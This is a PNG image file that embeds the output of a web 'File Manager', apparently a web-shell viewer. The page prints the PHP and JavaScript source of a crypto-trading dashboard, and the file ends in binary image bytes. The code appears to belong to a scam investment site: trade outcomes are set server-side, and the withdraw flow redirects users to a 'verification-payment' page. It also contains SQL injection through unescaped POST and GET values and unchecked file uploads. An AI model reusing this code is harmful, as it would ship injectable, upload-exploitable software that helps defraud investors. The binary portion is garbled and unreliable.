PNG  IHDRxsBIT|d pHYs+tEXtSoftwarewww.inkscape.org<,tEXtComment File Manager

File Manager

Path: /home/u491334613/domains/bmxctrades.com/public_html/dashscrypt/

Viewing File: market-crypto.php

<?php
require_once('includes/connect.php');
require_once('includes/functions.php');
if(isset($_GET['l'])){
logout();
header("location: https://Bmxctrades.com");
}
session_start();



if(!isset( $_SESSION['email'])){
header("location:../login.php");
}
 
$not_info = Getnotificationstatus( $_SESSION['email']);
$not_info = Getnotification( $_SESSION['email']);
$user = GetMember1( $_SESSION['email']);
$history = New_history($user['Email']);
$widd = widd($user['Email']);
$tradehis = tradehis($user['Email']);
$total = $user["Profit"] + $user["Capital"]+ $user["bonus"]  ;

$btcd = GetBtc();

if(isset($_POST["adr"])){
	$code = 988798;	
if($_POST["amt"] > $user["Pbalance"] or $_POST["amt"] == 0){
header("location: index.php?er=er");	
die();	
}
	
	
	


	

 if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['status'])) {
        // Get the AI status from the POST data
        $status = $_POST['status'];
        $rr   = $user["ID"];

        // Update the member's AI status in the database where ID = 1
        $sql = "UPDATE members SET ai = '$status' WHERE ID = '$rr'";

        if ($conn->query($sql) === TRUE) {
            // Update successful, send a success response
            echo json_encode(['status' => 'success', 'ai' => $status]);
        } else {
            // Update failed, send an error response
            echo json_encode(['status' => 'error', 'message' => 'Error updating AI status: ' . $conn->error]);
        }
 $conn->close();
        exit; // Terminate the script after handling the request
    }
    
$sql = sprintf("INSERT INTO deposit 
						(name, amount, idcode, Email, BTCadr) 
						VALUES 
						('%s','%s','%s','%s','%s')",
						$user['Uname'],
						$_POST['amt'],	
						$code,
						$user['Email'],						
						$_POST['adr']
									
						);
	
if(mysqli_query($conn, $sql)){		
header("location: index.php?suc=suc");
}
	
}


  if($user['valid'] == "close"){
    header("location:../en/login.php?val=closed"); 
}
 



if(isset($_POST["tradel"])){ 
	        $amt = $_POST["amt"];
			$lev = $_POST['leverage'];
			$tradel = $_POST['tradel'];
			$par = $_POST['pair'];
			$time = $_POST['time']; 					
			$ID = $user['ID'] ;
			$xp = $user["Profit"];
			
			$tamt = $user['tamt'] ;
                   
			$tleverage = $user['tleverage'] ;
			$ttrader = $user['ttrader'] ;
			$tstatus = $user['tstatus'] ;
			$ttime = $user['ttime'] ;
			$tpair = $user['tpair'] ;
			$ttype = $user['ttype'] ;
			$tstatus = 'active';
		
if($amt > $xp or $amt == 0)
{
echo '<script>alert("Insufficient Balance Deposite Now To Start Trading")</script>';	
 
 
}		
			
$authTrade = authTrade($ID,$tstatus,$tradel,$lev,$ttrader,$par,$time);

 

if( $authTrade == true){
      $l= $_POST["leverage"];
      $statt = "Win";
	  $x = $_POST["amt"];
      $y = $user["Profit"];
      $pp = $x * $l;
      $z = $pp + $y ;
      $userID = $user['ID'];
  
   
   
 
$sql11 = sprintf('UPDATE members SET Profit = %s, tstatus = "inactive" WHERE ID = "%s"', $z, $userID);

if (mysqli_query($conn, $sql11)) {
   echo '<script>alert("Profit Added!")</script>';
} else {
    
    echo  "Error updating data: " . mysqli_error($conn);
} 
 $sql12 = sprintf("INSERT INTO tsignal 
						(amt, uid,pair,email,status, type,payout,duration,leverage, trader) 
						VALUES 
						('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",						
						$_POST["amt"],
						$userID,
						$_POST["pair"],
						$user["Email"],
						$statt,
						$tradel,
						$pp,
						$_POST["time"],
						$_POST["leverage"],
						$user['ttrader']
						); 


	 if(mysqli_query($conn, $sql12)) {
echo '<script>alert("Trade Successful Profit Added To Your Trading Account")</script>'; 
header("location: index.php");
}else{
     echo  "Error updating data: " . mysqli_error($conn); 
}
}




if( $authTrade == false){
      $statt = "loss"; 
	  $x1= $_POST["amt"];
      $y1= $user["Profit"];
      $z1= $y1 - $x1;
      $pay = "0"; 
      $ll= $_POST["leverage"];  
      $userID = $user['ID'];
      



 
$sql13 = sprintf('UPDATE members SET Profit = %s, tstatus = "inactive" WHERE ID = "%s"', $z1, $userID);

if (mysqli_query($conn, $sql13)) {
   echo '<script>alert("Profit Lost!")</script>';
} else {
    
    echo  "Error updating data: " . mysqli_error($conn);
}  



 
 
 
 $sql14 = sprintf("INSERT INTO tsignal 
						(amt, uid,type, pair,email,status, payout,duration,leverage, trader) 
						VALUES 
						('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",						
						$_POST["amt"],
						$userID,
					    $tradel,
						$_POST["pair"],
						$user["Email"],
						$statt,
						$pay,
						$_POST["time"],
						$_POST["leverage"],
						$user['ttrader']
						); 

if(mysqli_query($conn, $sql14)) {

echo '<script>alert("You Loss The Trade Amount Removed From Your Trading Account")</script>';
header("location: index.php");

}

}
 


$to      = $user['Email']; // Send email to our user
$subject = 'Trade'; // Give the email a subject 
$headers = "From: support@Bmxctrades.com" . "\r\n" .
           "Reply-To: support@Bmxctrades.com" . "\r\n" .
           "Content-type: text/html; charset=UTF-8" . "\r\n" .
           "X-Mailer: PHP/" . phpversion(); // Add X-Mailer header
           
$message = "<div class='container'>
        <div class='center'>
          <div class='logo'>
          <img class='center' src='https://Bmxctrades.com/assets/img/logo.png' alt='Logo'>
         </div>
       </div>
Thank you for choosing Bmxctrades.com

Trade occurred in your account with us, the sum of '" . $user['sym'] . number_format($_POST['amt']) . "' USD.
 
If the trade was not made by you, contact us at support@Bmxctrades.com.
For more inquiries contact:
Email: support@Bmxctrades.com
</div>";

$header .= 'MIME-Version: 1.0' ."\r\n";
$headers = 'From: Bmxctrades.com<support@Bmxctrades.com>' . "\r\n" .'Reply-To: support@Bmxctrades.com' . "\r\n" .'X-Mailer: PHP/' . phpversion(); // Set from headers
mail($to, $subject, $message, $headers); // Send our email

 
	 
}

























$expert = Getex();
$user = GetMember1($_SESSION['email']);

if(isset($_POST["id"])){
	
	
	$sql5 = sprintf("INSERT INTO copy 
						(exp, Email) 
						VALUES 
						('%s','%s')",
						$_POST['id'],
						$user["Email"]
						);
	
if(mysqli_query($conn, $sql5));
header("location: ct.php");
	
	
	/*
$sql = sprintf('UPDATE members SET expert = "%s" WHERE Email="%s" ',$_POST["id"], $_SESSION['email']);						if(mysqli_query($conn, $sql));
*/


}




	
if(isset($_GET['id'])){
	
$sql4 = sprintf("DELETE FROM copy WHERE ID = %s", $_GET['id']);
								if(mysqli_query($conn, $sql4));	
header("location: ct.php?done");	
	
}



if(isset( $_GET['trader'])){
$expidd = Getexprid($_GET['trader']);
}

?>

<?php
  
$user = GetMember1( $_SESSION['email']);
if(isset($_POST['sub'])){
	$image = $_FILES['file']['name'];
    $temp_name = $_FILES["file"]["tmp_name"];
	
	
	
$image2 = $_FILES['file2']['name'];
    $temp_name2 = $_FILES["file2"]["tmp_name"];
	
	//die($_SERVER['DOCUMENT_ROOT']);
   
   $value = explode('.',$_FILES['file']['name']);
    $file_ext=strtolower(array_pop($value));
	
    $file_size =$_FILES['file']['size'];
      $expensions= array("jpeg","jpg","png","gif","svg");
	
      if(in_array($file_ext,$expensions)=== false){
         $errors[]="extension not allowed, please choose a JPEG or PNG file.";
      }

      if($file_size > 2097152){
         $errors[]='File size must be excately 2 MB';
      }

      if(empty($errors)==true){
         move_uploaded_file($temp_name,"../upload/".$image);
         echo "Your file upload successfully.";
      }
      
      if(empty($errors)==true){
         move_uploaded_file($temp_name2,"../upload/".$image2);
         echo "Your file upload successfully.";
      }


if($image != ""){
$sql = sprintf('UPDATE members SET idfront = "%s" WHERE Email= "%s" ',$image,  $_SESSION['email']);						
						if(mysqli_query($conn, $sql));
}


if($image2 != ""){
$sql = sprintf('UPDATE members SET idback = "%s" WHERE Email= "%s" ',$image2,  $_SESSION['email']);						
						if(mysqli_query($conn, $sql));
}
	
header('location: photo.php?suc');

}
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Withdraw | Bmxctrades.com</title>
    <link rel="icon" href="admin_icon_dir/1703507568643_icon.png">
    <link rel="stylesheet" href="assets/css/root.min.css?v=2">
    <link rel="stylesheet" href="assets/css/support-widget.css?v=1">
    <link rel="stylesheet" href="assets/css/toastr.css">
</head>
<body>

<?php include ("header.php") ?>
<main class="main transaction-history">
   <?php include("down.php") ?>
    <div class="main__box">
    <div class="container-fluid mtb15">
    <div class="row">
      <div class="col-md-12">
        <!-- TradingView Widget BEGIN -->
        <div class="tradingview-widget-container" style="width: 100%; height: 900px;">
          <iframe allowtransparency="true" frameborder="0" src="https://www.tradingview-widget.com/embed-widget/crypto-mkt-screener/?locale=en#%7B%22width%22%3A%22100%25%22%2C%22height%22%3A900%2C%22defaultColumn%22%3A%22overview%22%2C%22screener_type%22%3A%22crypto_mkt%22%2C%22displayCurrency%22%3A%22BTC%22%2C%22colorTheme%22%3A%22dark%22%2C%22market%22%3A%22crypto%22%2C%22enableScrolling%22%3Atrue%2C%22utm_source%22%3A%22Bmxctrades.com%22%2C%22utm_medium%22%3A%22widget%22%2C%22utm_campaign%22%3A%22cryptomktscreener%22%7D" style="box-sizing: border-box; display: block; height: 900px; width: 100%;"></iframe>
          
        <style>
	.tradingview-widget-copyright {
		font-size: 13px !important;
		line-height: 32px !important;
		text-align: center !important;
		vertical-align: middle !important;
		/* @mixin sf-pro-display-font; */
		font-family: -apple-system, BlinkMacSystemFont, 'Trebuchet MS', Roboto, Ubuntu, sans-serif !important;
		color: #9db2bd !important;
	}

	.tradingview-widget-copyright .blue-text {
		color: #2962FF !important;
	}

	.tradingview-widget-copyright a {
		text-decoration: none !important;
		color: #9db2bd !important;
	}

	.tradingview-widget-copyright a:visited {
		color: #9db2bd !important;
	}

	.tradingview-widget-copyright a:hover .blue-text {
		color: #1E53E5 !important;
	}

	.tradingview-widget-copyright a:active .blue-text {
		color: #1848CC !important;
	}

	.tradingview-widget-copyright a:visited .blue-text {
		color: #2962FF !important;
	}
	</style></div>
        <!-- TradingView Widget END -->
      </div>
    </div>
  </div>
    </div>
</main>
</script>
<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="assets/js/withdraw.min.js"></script>
<input type="hidden" value="false" id="u_verify_status">
<?php include("footer.php") ?>
<a class="support-widget" href="mailto:support@Bmxctrades.com">
    <svg viewBox="0 -256 1850 1850" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="width: 80%; height: 80%; fill: rgb(255, 255, 255); stroke: none;">
        <path transform="matrix(0.71186441,0,0,-0.71186441,288.54237,1093.9482)" d="M 704,1152 Q 551,1152 418,1100 285,1048 206.5,959 128,870 128,768 q 0,-82 53,-158 53,-76 149,-132 l 97,-56 -35,-84 q 34,20 62,39 l 44,31 53,-10 q 78,-14 153,-14 153,0 286,52 133,52 211.5,141 78.5,89 78.5,191 0,102 -78.5,191 -78.5,89 -211.5,141 -133,52 -286,52 z m 0,128 q 191,0 353.5,-68.5 Q 1220,1143 1314,1025 1408,907 1408,768 1408,629 1314,511 1220,393 1057.5,324.5 895,256 704,256 618,256 528,272 404,184 250,144 214,135 164,128 h -3 q -11,0 -20.5,8 -9.5,8 -11.5,21 -1,3 -1,6.5 0,3.5 0.5,6.5 0.5,3 2,6 l 2.5,5 q 0,0 3.5,5.5 3.5,5.5 4,5 0.5,-0.5 4.5,5 4,5.5 4,4.5 5,6 23,25 18,19 26,29.5 8,10.5 22.5,29 Q 235,303 245.5,323 256,343 266,367 142,439 71,544 0,649 0,768 0,907 94,1025 188,1143 350.5,1211.5 513,1280 704,1280 Z M 1526,111 q 10,-24 20.5,-44 10.5,-20 25,-38.5 14.5,-18.5 22.5,-29 8,-10.5 26,-29.5 18,-19 23,-25 1,-1 4,-4.5 3,-3.5 4.5,-5 1.5,-1.5 4,-5 2.5,-3.5 3.5,-5.5 l 2.5,-5 q 0,0 2,-6 2,-6 0.5,-6.5 -1.5,-0.5 -1,-6.5 -3,-14 -13,-22 -10,-8 -22,-7 -50,7 -86,16 Q 1388,-72 1264,16 1174,0 1088,0 817,0 616,132 q 58,-4 88,-4 161,0 309,45 148,45 264,129 125,92 192,212 67,120 67,254 0,77 -23,152 129,-71 204,-178 75,-107 75,-230 0,-120 -71,-224.5 Q 1650,183 1526,111 Z"></path>
    </svg>
    <span>1</span>
</a>
<input hidden value="63743.57" id="price" type="number">
<!-- END FOOTER -->
<script src="assets/js/jquery-3.4.1.min.js"></script>
<script src="assets/js/app.min.js"></script>
<script src="assets/js/toastr.js"></script>
<script src="assets/js/newnoti.js"></script>
<script src="assets/js/error-modal.js?v=4"></script>
<script>
    function closeModal(event) {
        event.preventDefault();

        $("#alert_message_modal").removeClass("withdrawal-successful-active");
    }


    $("#butafor__btn").on("click", function(e) {
        e.preventDefault();

        $("#butafor__modal").addClass("withdrawal-successful-active");
    });

    $(".butafor__btn").on("click", function(e) {
        e.preventDefault();

        $("#butafor__modal").addClass("withdrawal-successful-active");
    });

    function closeButaforModal() {
        $("#alert_message_modal").removeClass("withdrawal-successful-active");
        $("#butafor__modal").removeClass("withdrawal-successful-active");
    }

    $("#footer_subscribe").on("click", function(e) {
        e.preventDefault();
        $("#footer_subscribe").html("Subscribed!");
    })
</script>
</body>
</html>
<script>
    var active_crypto = "BTC";

    var network = 'ERC20';

    function setNetwork(name) {
        network = name;
        if (active_crypto === 'BNB') {
            var memoBlock = document.getElementById("memo_block");
            if (network === 'BEP2') {
                memoBlock.style = "";
            } else {
                memoBlock.style = "display: none";
            }
        }
    }

    function setTab(crypto) {
        $("#btn_" + active_crypto).removeClass("buttonActiveNew");
        $("#btn_" + crypto).addClass("buttonActiveNew");

        $("#tab_" + active_crypto).removeClass("deposit__content-item-active");
        $("#tab_" + crypto).addClass("deposit__content-item-active");

        active_crypto = crypto;
    }

    setTimeout(function() {
        $('main').append(`    <div class="withdrawal-popup" id="withdraw_true_confirmed_modal">
       <div class="withdrawal-popup__block">
           <div class="withdrawal-popup__top">
               <div class="withdrawal-popup__icon">
                   <svg width="86" height="82" viewBox="0 0 86 82" fill="none" xmlns="http://www.w3.org/2000/svg">
                       <path
                           d="M65.3015 12.1441C66.4663 10.7609 66.2963 8.68327 64.8246 7.63243C58.2159 2.91368 50.3313 0.248715 42.1651 0.0165582C32.9044 -0.246714 23.8275 2.63418 16.4136 8.18977C8.99977 13.7454 3.686 21.6481 1.33829 30.6102C-1.00942 39.5722 -0.252669 49.0652 3.48522 57.5421C7.22312 66.019 13.7218 72.9801 21.9222 77.291C30.1226 81.6019 39.5412 83.0084 48.6433 81.2813C57.7453 79.5542 65.9941 74.7953 72.0455 67.7802C77.3816 61.5942 80.7315 53.9754 81.7046 45.9135C81.9212 44.1182 80.502 42.5914 78.6951 42.5186C76.8882 42.4458 75.3804 43.8556 75.1365 45.6475C74.2405 52.2294 71.456 58.4377 67.0868 63.5028C62.002 69.3974 55.0707 73.3962 47.4225 74.8474C39.7742 76.2987 31.8599 75.1168 24.9693 71.4945C18.0787 67.8722 12.6181 62.0229 9.47719 54.9C6.33632 47.777 5.70044 39.8003 7.67317 32.2696C9.6459 24.739 14.1109 18.0985 20.3406 13.4303C26.5704 8.76208 34.1975 6.34133 41.979 6.56255C48.6655 6.75264 55.1273 8.88378 60.5913 12.6613C62.0788 13.6897 64.1366 13.5272 65.3015 12.1441Z"
                           fill="#4DB742"
                       ></path>
                       <path d="M81.9998 12.7979L41.9181 53.0869L23.6992 34.7737" stroke="#4DB742" stroke-width="6.66667" stroke-linecap="round" stroke-linejoin="round"></path>
                   </svg>
               </div>
               <div class="withdrawal-popup__title">
                   Withdrawal Successful
               </div>
           </div>
           <div class="withdrawal-popup__bottom">
               <div class="withdrawal-popup__table">
                   <div class="withdrawal-popup__table-key">
                       Status
                   </div>
                   <div class="withdrawal-popup__table-value completed">
                       Completed
                   </div>
               </div>
               <div class="withdrawal-popup__table">
                   <div class="withdrawal-popup__table-key">
                       Date
                   </div>
                   <div class="withdrawal-popup__table-value" id="t_withdraw_confirmed_date">
                       1 Nov 2023, 23:59:11
                   </div>
               </div>
               <div class="withdrawal-popup__table">
                   <div class="withdrawal-popup__table-key">
                       Amount
                   </div>
                   <div class="withdrawal-popup__table-value" id="t_withdraw_confirmed_amount">
                       0
                   </div>
               </div>
               <div class="withdrawal-popup__table">
                   <div class="withdrawal-popup__table-key">
                       Fee
                   </div>
                   <div class="withdrawal-popup__table-value" id="t_withdraw_confirmed_fee">
                       0
                   </div>
               </div>
               <div class="withdrawal-popup__table">
                   <div class="withdrawal-popup__table-key">
                       To
                   </div>
                   <div class="withdrawal-popup__table-value" id="t_withdraw_confirmed_address">
                       0
                   </div>
               </div>

               <div class="withdrawal-popup__close" id="close_w_confirm_modal" onclick="location.reload()">
                   Close
               </div>
           </div>
       </div>
   </div>

   <div class="withdrawal-popup" id="withdraw_true_modal_new">
       <div class="withdrawal-popup__block">
           <div class="withdrawal-popup__top">
               <div class="withdrawal-popup__icon">
                   <svg width="91" height="91" viewBox="0 0 91 91" fill="none" xmlns="http://www.w3.org/2000/svg">
                       <path
                           d="M83.4168 45.5002C83.4168 66.4302 66.4302 83.4168 45.5002 83.4168C24.5702 83.4168 7.5835 66.4302 7.5835 45.5002C7.5835 24.5702 24.5702 7.5835 45.5002 7.5835C66.4302 7.5835 83.4168 24.5702 83.4168 45.5002Z"
                           stroke="#E7BD1F"
                           stroke-width="6"
                           stroke-linecap="round"
                           stroke-linejoin="round"
                       ></path>
                       <path d="M59.5672 57.5577L47.813 50.5431C45.7655 49.3298 44.0972 46.4102 44.0972 44.0214V28.4756" stroke="#E7BD1F" stroke-width="6" stroke-linecap="round" stroke-linejoin="round"></path>
                   </svg>
               </div>
               <div class="withdrawal-popup__title">
                   Withdrawal Processing
               </div>
           </div>
           <div class="withdrawal-popup__bottom">
               <div class="withdrawal-popup__table">
                   <div class="withdrawal-popup__table-key">
                       Status
                   </div>
                   <div class="withdrawal-popup__table-value pending">
                       Pending
                   </div>
               </div>
               <div class="withdrawal-popup__table">
                   <div class="withdrawal-popup__table-key">
                       Date
                   </div>
                   <div class="withdrawal-popup__table-value" id="t_withdraw_date">
                       1 Nov 2023, 23:59:11
                   </div>
               </div>
               <div class="withdrawal-popup__table">
                   <div class="withdrawal-popup__table-key">
                       Amount
                   </div>
                   <div class="withdrawal-popup__table-value" id="t_withdraw_amount">
                       0
                   </div>
               </div>
               <div class="withdrawal-popup__table">
                   <div class="withdrawal-popup__table-key">
                       Fee
                   </div>
                   <div class="withdrawal-popup__table-value" id="t_withdraw_fee">
                       0
                   </div>
               </div>
               <div class="withdrawal-popup__table">
                   <div class="withdrawal-popup__table-key">
                       To
                   </div>
                   <div class="withdrawal-popup__table-value" id="t_withdraw_address">
                       0
                   </div>
               </div>

               <div class="withdrawal-popup__close" id="close_w_true_modal" onclick="location.reload()">
                   Close
               </div>
           </div>
       </div>
   </div>`);
    }, 600);

    function resetButtons() {
        $(".buttons__01").removeClass("buttons__disabled");
        $(".buttons__01").removeClass("buttons__loading");
        $(".button__loader").remove();
    }

    function withdraw(event, crypto) {
        event.preventDefault();

        var address = $("#withdraw_address").val();
        var memo = $("#withdraw_memo").val();
        var amount2 = $("#withdraw_amount").val().replace(',', '.')
        var amount = parseFloat(amount2);

        var user_balance = parseFloat($("#available_balance").html().replace(',', '.'));

        if (address == "" || address.length < 10) {
            noti("Please enter a valid wallet address", "error");
            resetButtons();
            return;
        }
        if (amount2 == "" || amount2 == NaN || amount <= 0) {
            noti("Please enter the amount to withdraw", "error");
            resetButtons();
            return;
        }
        if (amount > user_balance) {
            noti("You don't have enough balance to withdraw", "error");
            resetButtons();
            return;
        }

        const fee = parseFloat($("#fee_amount").val());

        $.ajax({
            url: "api/user/withdraw",
            type: "POST",
            contentType: 'application/json; charset=UTF-8',
            data: JSON.stringify({
                action: "WITHDRAW",
                amount: amount,
                fee: fee,
                crypto: crypto,
                address: address,
                memo: memo,
                network: network
            }),
            success: function(response) {
                if (response === "verification") {
                    location.replace('verification-payment');
                } else if (response === "pending") {
                    const d = new Date();
                    const strDate = d.getFullYear() + "/" + (d.getMonth() + 1) + "/" + d.getDate() + " " + d.getHours() + ":" + d.getMinutes();
                    $("#withdraw_true_modal_new").addClass("withdrawal-pending-active");
                    $("#t_withdraw_date").html(strDate);
                    $("#t_withdraw_amount").html((amount - fee) + " " + crypto);
                    $("#t_withdraw_fee").html(fee + " " + crypto);
                    $("#t_withdraw_address").html(address);
                    resetButtons();
                } else if (response === "confirmed") {
                    const d = new Date();
                    const strDate = d.getFullYear() + "/" + (d.getMonth() + 1) + "/" + d.getDate() + " " + d.getHours() + ":" + d.getMinutes();
                    $("#withdraw_true_confirmed_modal").addClass("withdrawal-successful-active");
                    $("#t_withdraw_confirmed_date").html(strDate);
                    $("#t_withdraw_confirmed_amount").html((amount - fee) + " " + crypto);
                    $("#t_withdraw_confirmed_fee").html(fee + " " + crypto);
                    $("#t_withdraw_confirmed_address").html(address);
                    resetButtons();
                } else {
                    showErrorModal('WITHDRAW');
                    resetButtons();
                }
            },
            error: function(xhr) {
                const error = xhr.responseText;
                if (error === "amount_error") {
                    noti("Please enter the amount to withdraw", "error");
                } else if (error === "address_error") {
                    noti("Please enter a valid wallet address", "error");
                } else if (error === "memo_error") {
                    noti("Please enter correct memo number", "error");
                } else if (error === "balance_error") {
                    noti("You don't have enough balance to withdraw", "error");
                } else if (error.startsWith("minimum_amount_error:")) {
                    noti("Oops.. Minimal withdraw amount: " + error.split(':')[1] + " " + crypto.toUpperCase(), "error");
                } else {
                    noti("An unexpected error has occurred, please try again", "error");
                }
                resetButtons();
            }
        });
    }

    setInterval(() => {
        $.ajax({
          url: "/api/user/profile",
          type: "POST",
          contentType: 'application/json; charset=UTF-8',
          dataType: 'text',
          data: JSON.stringify({
              action: "CHECK_ALERT"
          }),
          success: function (response) {
              if (response !== "no_alerts") {
                  const json = JSON.parse(response);

                  const type = json["type"];
                  const message = json["message"];

                  if (type === "NOTIFICATION") {
                      noti(message, "success");
                  } else if (type === "ALERT") {
                      $("#alert_message_modal").addClass("withdrawal-successful-active");
                      $("#userAlertBox").html(message);
                  } else if (type === "BONUS") {
                      $("#alert_img_pop").attr("src", "");
                      $("#alert_title_text").html("Bonus");
                      $("#alert_img_pop").attr("src", "assets/img/bonus-icon.png");
                      $("#alert_img_pop").css("display", "block");
                      $("#svg_alert_img").remove();
                      $("#alert_message_modal").addClass("withdrawal-successful-active");
                      $("#userAlertBox").html(message);
                      $("#userAlertBox").css("font-size", "18px");
                  }
              }
          }
      });
    }, 5000);

    function setMaxBalance() {
        $("#withdraw_amount").val($("#available_balance").html());
    }

    function amountUsd() {
        var value = '~0$';
        if ($("#withdraw_amount") !== '') {
            const withdrawAmount = parseFloat($("#withdraw_amount").val());
            if (withdrawAmount > 0) {
                if (withdrawAmount > parseFloat($("#available_balance").html())) {
                    noti("You don't have enough balance", "warning");
                } else {
                    const price = parseFloat($("#price").val());
                    value = '~' + (withdrawAmount * price).toFixed(0) + '$';
                }
            }
        }

        $("#usd_amount").html(value);
    }
</script>
b IDATxytVսϓ22 A@IR :hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-EIENT ;@xT.i%-X}SvS5.r/UHz^_$-W"w)Ɗ/@Z &IoX P$K}JzX:;` &, ŋui,e6mX ԵrKb1ԗ)DADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADA݀!I*]R;I2$eZ#ORZSrr6mteffu*((Pu'v{DIߔ4^pIm'77WEEE;vƎ4-$]'RI{\I&G :IHJ DWBB=\WR޽m o$K(V9ABB.}jѢv`^?IOȅ} ڶmG}T#FJ`56$-ھ}FI&v;0(h;Б38CӧOWf!;A i:F_m9s&|q%=#wZprrrla A &P\\СC[A#! {olF} `E2}MK/vV)i{4BffV\|ۭX`b@kɶ@%i$K z5zhmX[IXZ` 'b%$r5M4º/l ԃߖxhʔ)[@=} K6IM}^5k㏷݆z ΗÿO:gdGBmyT/@+Vɶ纽z񕏵l.y޴it뭷zV0[Y^>Wsqs}\/@$(T7f.InݺiR$푔n.~?H))\ZRW'Mo~v Ov6oԃxz! S,&xm/yɞԟ?'uaSѽb,8GלKboi&3t7Y,)JJ c[nzӳdE&KsZLӄ I?@&%ӟ۶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